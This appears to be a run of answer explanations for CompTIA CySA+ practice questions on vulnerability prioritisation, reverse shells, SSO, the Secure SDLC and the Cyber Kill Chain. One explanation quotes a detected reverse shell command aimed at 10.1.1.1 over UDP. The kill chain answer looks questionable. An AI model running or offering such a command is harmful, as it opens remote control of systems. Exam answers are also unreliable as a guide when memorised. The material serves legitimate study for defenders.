The correct answer is A because CVSS severity alone is not enough to confirm remediation priority. The vulnerability manager needs to know the criticality of the affected hosts/assets. For example, a slightly lower CVSS vulnerability on a public-facing, business-critical system may require faster remediation than a higher CVSS vulnerability on a low-value internal system.
The CySA+ All-in-One guide states that remediation priority should consider exploitability, whether a vulnerability is weaponized, patch availability, and asset value and criticality. It also explains that analysts must consider business impact when deciding how to remediate vulnerabilities.
The Secbay CySA+ guide also explains that vulnerability prioritization should evaluate severity, exploitability, and the criticality of affected systems, including business operations, data sensitivity, and regulatory impact.
Why the other options are incorrect:
B is incorrect because SLA information determines remediation timelines after priority is established.
C is incorrect because KPIs measure performance, not asset priority.
D is incorrect because the scenario does not state these are zero-day vulnerabilities.

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the remote user's system and opens a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command:
sh -i >& /dev/udp/10.1.1.1/4821 0>$l
This command is a shell script that creates a reverse shell connection from the target system to the remote user's system at IP address 10.1.1.1 and port 4821 using UDP protocol.

* Single Sign-On (SSO) allows users to authenticate once and gain access to multiple applications without needing to re-enter credentials for each one.
* It reduces password fatigue, improves security, and streamlines authentication across vendor portals.
Why Not Other Options?
* A (API) # APIs facilitate data exchange but do not solve authentication problems.
* B (MFA) # Enhances security but still requires multiple logins.
* D (VPN) # Secures connections but does not eliminate multiple logins.
Reference: CompTIA CySA+ CS0-003, Chapter 8: "Identity and Access Management," Section: "SSO and Access Control Methods."

A Secure Software Development Life Cycle (SDLC) integrates security measures at each stage of development to reduce vulnerabilities and improve the overall security of the software. This is essential for minimizing risks related to software usage and ensuring compliance with regulatory requirements, which is particularly important for organizations handling sensitive data. As per CompTIA standards, a Secure SDLC helps prevent security breaches and protects both the organization and its users from potential harm. Options A, C, and D do not accurately describe the primary goals of a Secure SDLC, which primarily centers on risk reduction and regulatory compliance.

The Cyber Kill Chain is a framework that describes the stages of a cyberattack from reconnaissance to actions on objectives. The exploitation stage is where attackers take advantage of the vulnerabilities they have discovered in previous stages to further infiltrate a target's network and achieve their objectives. In this case, the malicious actor has gained access to an internal network by means of social engineering and does not want to lose access in order to continue the attack. This indicates that the actor is in the exploitation stage of the Cyber Kill Chain. Official References: https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill- chain.html